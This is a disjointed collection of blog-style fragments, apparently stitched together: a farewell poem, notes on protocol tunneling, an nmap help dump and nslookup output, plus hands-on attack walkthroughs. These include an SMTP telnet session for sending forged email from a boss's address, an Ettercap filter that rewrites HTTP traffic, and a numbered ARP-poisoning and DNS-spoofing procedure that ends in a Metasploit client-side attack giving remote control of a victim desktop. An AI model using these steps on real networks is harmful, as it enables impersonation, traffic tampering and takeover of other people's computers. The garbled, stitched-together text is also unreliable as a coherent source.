But It just thaT time is finally arrived...
-GooD By3-

I caN't SleeP t0niTe becoZ so SaD..


I waNt yOu to knOw that I will be alWays There for You

GooD LucK...&...GooD Bye

-me,myself and i-
1. Use Tor
2.Here's the idea: Different protocols handle data in different ways, but you can generally manage to transport the data for one protocol over another. (For example, an SSH session can be transported over HTTPS.) This is what I call protocol tunneling -- I don't think that's the actual name. If you set up a tunnel between your computer and an off-campus friend's computer, using a protocol that only transmits data in small chunks. I don't know enough about the various protocols and tools to know how one would construct this system, but it is definitely within the range of possibility.
> telnet mail.company.com 25
Telnet is the application we are going to use but in this case we are connecting to port 25 and not to the normal telnet port of 23. Port 25 is used for SMTP or the protocol used for email. You should get the following response back if you are connecting to an exchange server. 220 mail.company.com Microsoft ESMTP MAIL Service, Version: 6.0.3790.1830 ready at Tue, 19 Feb 2005 14:44:12 -0500 Now you should type the following
> helo company.com
The server should respond that helo back. Next type in the following:
> mail from: theboss@company.com
This tells the server that you want to send email from the bosses account. Next type:
> rcpt to: friend@company.com
This is your friends email address. And next type:
> data
This sets the system to get ready for you to begin writing your message. Now start typing what you want to say:
> Friend, I am tired of your constant watching of penny arcade video’s and now you are fired.
Once you are done writing your message hit enter, then type a period “.” And then hit enter again. It will store and then save your message sending it to your friend. Now that is what I call funny!
This person also make stupid spelling errors ,where we can easily detect it. Noted that the address also difference with the link given
For website...it is easy to build...you just need to googling around for html howto ..and learn it...or just use webdevelopment tools such as...dreamweaver ...
To save his/her ass... might hosting the website using ghost pc (Botnet) or spoof his/her ip address...
How to defend ?
how eh ?? i also don't know...hahaha ..just don't be such dumAss and moron... if you recieved email such as this..or even phone call...make sure to call the real company mention and confirm about it first....Remember... there is no such thing as free give....atleast in this world....
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
msg("in Second IF\n");
if (search(DECODED.data, "Hello")){
replace("Hello", "12345");
msg("run\n");
}
if (search(DATA.data, "Google")){
replace("Google", "GOOGLE HACKED");
msg("run2\n");
}
}
[ reez @ alexendeRReez : /home/reez/Desktop ] nslookup irongeek.com
Server: 10.0.7.254
Address: 10.0.7.254#53
Non-authoritative answer:
Name: irongeek.com
Address: 208.97.169.250
[ reez @ alexendeRReez : /home/reez/Desktop ] nslookup 208.97.169.250
Server: 10.0.7.254
Address: 10.0.7.254#53
Non-authoritative answer:
250.169.97.208.in-addr.arpa name = apache2-linus.lankershim.dreamhost.com.
Authoritative answers can be found from:
169.97.208.in-addr.arpa nameserver = NS3.dreamhost.com.
169.97.208.in-addr.arpa nameserver = NS1.dreamhost.com.
169.97.208.in-addr.arpa nameserver = NS2.dreamhost.com.
[ reez @ alexendeRReez : /home/reez/Desktop ] nmap -help
Nmap 4.68 ( http://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
-iL: Input from list of hosts/networks
-iR: Choose random targets
--exclude: Exclude hosts/networks
--excludefile: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sP: Ping Scan - go no further than determining if host is online
-PN: Treat all hosts as online -- skip host discovery
-PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-PO [protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
--dns-servers: Specify custom DNS servers
--system-dns: Use OS's DNS resolver
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sU: UDP Scan
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags: Customize TCP scan flags
-sI: Idle scan
-sO: IP protocol scan
-b: FTP bounce scan
--traceroute: Trace hop path to each host
--reason: Display the reason a port is in a particular state
PORT SPECIFICATION AND SCAN ORDER:
-p: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
--top-ports: Scan most common ports
--port-ratio: Scan ports more common than
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-intensity: Set from 0 (light) to 9 (try all probes)
--version-light: Limit to most likely probes (intensity 2)
--version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: equivalent to --script=default
--script=: is a comma separated list of
directories, script-files or script-categories
--script-args=: provide arguments to scripts
--script-trace: Show all data sent and received
--script-updatedb: Update the script database.
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
Options which take
1. Open Ettercap
#ettercap -G
2. Go to option = Sniff -> Unified sniffing
3. Scan for host to get lists of LAN connections in LAN using option = Hosts -> Scan for hosts
4. Set the target; usually choose one IP as victim IP, and its DNS server example
Victim’s IP: 164.0.3.47
Server’s IP: 164.0.3.254
5. We launch the MiTM attacks which is ARP (Address Resolution Protocol) poisoning.
6. Then, check difference packet capture in victim computer using Wireshark before launching the
MiTM attack and when it is still occurring.
7. i) Edit file, usually name: /usr/local/share/ettercap/etter.dns
ii) Point the target URL to our IP address (intend to spoof but as we are demonstrating Mass Client
Side Attack , we point the URL to the Attacker IP address).
Example:
google.com A
*.google.com A
www.google.com PTR
iii) Close and save the text file.
In Ettercap GUI(Graphical User Interface)tools, check the available plugins by clicking DNS
spoofing or by using command line
Ettercap –T –q –M arp:remote –P dns_spoof //
8. Check the IP address using Nslookup again and it will give difference output compare to the initial
Nslookup test before starting MiTM attack in the previous steps (Cmd/windows terminal
) as it should point to the Attacker IP address.
9. It is mean whenever victim open browser to browse google.com, it will redirect to the Attacker IP
Address.
10. Open the FastTrack application which is listed under Penetration in the BackTrack Operating
System.
11. At the Shell FastTrack Main Menu, choose the number 2 option for: External Hacking. Then, you
must select number 7 option for: Metaspoit Mass Client-Side Attack.
12. Check the IP address using ipconfig(windows) or ifconfig(Linux)
13. Next thing to do is entering IP address for Apache and press the enter button.
14. When the victim browse google.com, it will redirect victim to Attacker IP address (9) and the
attacker starts to attack.
15. We have to wait until the Framework connects to the system. After that, we are able to remote
victim desktop and modified anything as we wish.
"I'm here because i got pay to teach you....and you..you are paid to just attend the class...is that so difficult?"